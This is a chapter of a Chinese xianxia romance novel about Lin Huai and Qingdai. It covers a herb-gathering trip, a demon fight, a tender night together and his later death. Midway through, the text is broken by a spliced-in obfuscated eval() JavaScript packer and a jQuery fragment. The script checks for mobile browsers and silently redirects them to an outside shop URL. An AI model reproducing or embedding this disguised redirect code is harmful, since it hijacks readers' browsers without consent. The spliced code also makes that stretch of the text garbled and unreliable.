没等青黛反应,林槐一把将人拥入怀中,抱得紧紧,脑袋埋在青黛的颈窝,贪婪地嗅着青黛身上的气息。
青黛感受到他的动作,又是一僵,她觉得自己身上总是带着一股药味,她有时都不想闻自己身上的味道,也不知道林槐为什么总是爱凑到她身边,现在更是……过分。
青黛抬手,也抱住林槐,一下一下地抚摸着他身后的头发。
二人相互照料的那些年里,她虽说自己也是个没多大的孩子,也是第一次照顾人,但这些年她将林槐养得很好。
林槐刚来时的头发都是枯黄干瘪,一看就是长年营养不良,如今,他的头发变得乌黑整齐,一缕缕地缠在青黛的指尖。
林槐感受到她的动作,抱得更紧了,脑袋还朝着她的颈窝里蹭了蹭,感受着青黛因为他这突如其来的一下而微微颤栗,他低低地笑了两声,笑得连胸腔都在颤抖。
笑得青黛气急败坏地一把推开他,他又笑着将人哄好,将人拥入怀中。
林槐想就这么一直、一直抱着她,哪怕用他的一切交换,他都愿意,他很愿意,他甚至觉得,如果真的可以交换,那真是个不错的买卖。
他们就这么朴素又平凡地相处着,又过了一段时间,林槐带着青黛进了浮生秘境,他听说里头有品质极好的草药,很适合给青黛用来制药。
秘境中的确有不少草药,他替青黛捧着那些厚厚的医书,眼中含笑地看着她嘴里念念叨叨,手上指指点点地对比,又朝着林槐点点头。
于是林槐就弯下腰,用小铲子小心地将草药从地里挖出来,又一层层地包好,交给青黛,由她放进他背后的背篓。
至于为什么青黛不自己挖,当然是因为这人冒冒失失的,刚进秘境,刚看见第一株草药,刚伸手,手上就多了一道血口。
青黛还没什么反应,林槐就已经皱着眉捏住了她的手。
“阿槐,没事的,没毒。”青黛抬起头看着林槐的脸,试图将自己的手指抽回。
林槐紧紧地捏着她的手指,不许她动,而后抬手,灵力探入她指尖的血口,在确认的确无毒后才从里头出来,却没有立刻离开,而是缠绕着她的指尖。
片刻后,那细小的血口消失了。
青黛看着自己完好的手哭笑不得:“阿槐,你怎么用灵力来做这个啊。”
林槐的手指挤进她的指缝,牢牢地将人握住:“就是用来做这个的。”
他就这么将人保护得密不透风,等到快出秘境时,一只不知从哪里来的妖挡住了他们的去路。
林槐看见那妖的第一反应是将青黛扯到身后,第二个反应是展开一个罩子,将青黛罩在里面,自己飞身而出,与那妖物缠斗。
“阿槐!林槐!”青黛用力地拍着面前透明的罩子,急得都快哭出来了。
下一刻,那罩子从透明变成了不透明,青黛看不见外面的场景了。
林槐带着一身的血痕将罩子解开时,看见的是青黛流着眼泪,抱着双膝,坐在草地上。
青黛一看见他就扑了过来,又在看清他身上的惨状时停下。
林槐连刚刚打斗时都没皱的眉头在此刻皱了起来,他收了剑后抬手,将青黛拥入怀中,将自己的脸与青黛贴在一起,手一下一下地拍着青黛的后背。
“阿黛,不哭了,不哭了。”林槐轻轻的将她脸上的泪珠拭去,捧起她的脸,又在看着她尽是泪水的眼睛时笑了出来,“我这不是好好的吗,我能应付的,我——”
“不许说。”青黛哭得抽抽噎噎,伸出手想要打他,却又停住,只是一个劲的抹着自己的眼泪。
林槐握着她的拳头砸在自己胸口:“那你打我,好不好。”
青黛止住了眼泪,她收回手,背过身不理林槐。
“阿黛……”林槐喊完这么一声,就安安静静地站在她面前,弯着腰,垂着头,任由她在自己脸上戳来戳去,末了,他看着气消了不少的青黛笑。
“阿黛,你刚刚把我的脸都戳痛了。”
“活该,就是要痛,不然你都不长记性。”
“那能不能……”林槐环住青黛的腰肢,将人往怀里带,“亲一下,亲一下,好不好。”
“亲一下,我就记得更牢了。”
青黛抬头,撞进一池荡漾的春水,于是那个吻就这么落下来,直叫人头发昏,腿发软,心狂跳。
林槐生涩地吻着她的唇角,轻轻的,一下一下的,描摹着怀中人唇瓣的轮廓。
林槐退开几分,声音低哑:“阿黛,喘气。”
青黛推着林槐的胸膛,从他的怀里逃开,身后低低的笑却不受控的往她的耳朵里钻。
又过了一年,林槐被那个向来不在宗门内多待的掌门委任了掌门的位置。
一天晚上,青黛正睡着,一翻身,瞧见床边杵着一个黑影,将她吓了好大一跳。
那黑影出声:“阿黛。”
她又放下心来,将被子往上扯了扯,道:“阿槐,你怎么不睡觉。”
林槐垂着头,不说话。
青黛又探头看了看外头,窗外正下着雨,一道闪电劈下,将屋内照亮,紧接着有滚滚雷声响起。
“你怎么还和小时候一样怕打雷。”青黛觉得自己应该是睡蒙了,脑子有些不清醒,她往里挪了挪,又从身下扯出一截被子,“那你上来吧,我陪你一起睡。”
林槐犹豫了一下,然后脱掉自己的外袍上了床,他枕在青黛枕过的枕头上,眼睛眨也不眨地盯着她。
青黛在林槐上床的一瞬间,她的脑子终于清醒了一些,可也只是一些。
她看着林槐眼中莫名的情绪,伸手将人搂紧,感受着怀中的人似乎叹了口气,她拍着林槐的背,小声地问他:“你怎么了?不开心吗?”
林槐摇了摇头,也将人紧紧拥在怀中,他将头埋在青黛的颈窝处嗅闻,片刻后,床上二人的身体都僵硬了。
“阿黛,我、我、我,外头好像不打雷了,我得回去了。”林槐连忙起身,就在将要下床时,一只柔软的手握住了他的手腕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807233|207365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,制得他动弹不得。
“阿槐……”青黛虽也是犹豫,但仍未松手,她能感觉到自己的心跳得更快了,甚至比那天林槐问她喜不喜欢时还快。
林槐僵硬着转过身,看着将半张脸都埋在被子里的青黛,却不敢靠近。
青黛轻声道:“阿槐……我喜欢的,我愿意的。”
林槐整个人都开始颤抖:“不……不行,不可以。”
青黛一愣,眼睛红红,又要哭:“你不喜欢吗。”
“我喜欢,但是……”
“那就别说了。”青黛将人一把扯过,按在床上胡乱地吻着,只是吻着吻着,一阵天旋地转后,躺在床上的那个人就变成了她。
林槐的手垫在她的腰下,感受到她的颤栗,他还是犹豫:“阿黛……”
青黛暗暗骂他顾虑太多,过了许久才感受到下一步动作。
……
“阿黛,喜欢吗。”
青黛小口地喘气,她只觉得自己要软成一滩水,脑袋因为缺氧有些混乱,眼中只有林槐的那双眼睛,那双眼睛在今夜似乎含着一些她看不懂的情绪,每每与她对视都要闪躲,又在她挪开视线时紧盯着她。
只是她已经没有时间,也没有力气思考这样的事情了。
“阿黛,不舒服吗?”林槐紧紧盯着青黛的神色,见她都要喘不上气,忙停了手,可身下的人反应更大了。
“你……”青黛只觉得自己像一只慢慢飞上天空的鸟,就在刚刚,“啪”的一声砸在了地上。
她呢喃出声:“不要……”
“不要?”林槐又靠近了一些,终于听清她口中在说什么,但仍是满满的坏心思,“那你求求我,求求我,我就帮你。”
青黛整个人都红透了,她贴在林槐耳边,支支吾吾地说着。
林槐笑了,他笑着看向青黛,眼中带着些许泪花,只是青黛闭着眼没能看见,他道:“好,我会帮你的。”
后来,他就当上了掌门。
再后来……
青黛无法接受自己看着长大的人竟然能做出那样的事,于是离开了。
或许还有一些隐秘的原因,或许她只是不想亲眼见证,林槐将无辜之人卷进来,也不想亲眼看着林槐走向必死的结局,她从内心深处还是希望林槐能活下来,希望她有一天打开门,门口仍然站着一个,会一声声喊她“阿黛”的人。
她的心上人。
可他死了,她不明白。
更不明白的是,为什么在给她的信中要将“吾爱”二字划去,还要祝她觅得良人。
为什么不敢承认自己就是她的良人,为什么要与她划清界限。
可她的良人,永远只有一个。
可她的良人,是不归人。
或许只是未归,或许在下着大雪的某一天还会回来,站在她的门前,唤着她的名字,笑着将愣怔的她拥入怀中,耍赖道:“阿黛,我花了好长的时间才回来,冬日太长、太冷了,你抱抱我,抱抱我,我就暖和了。”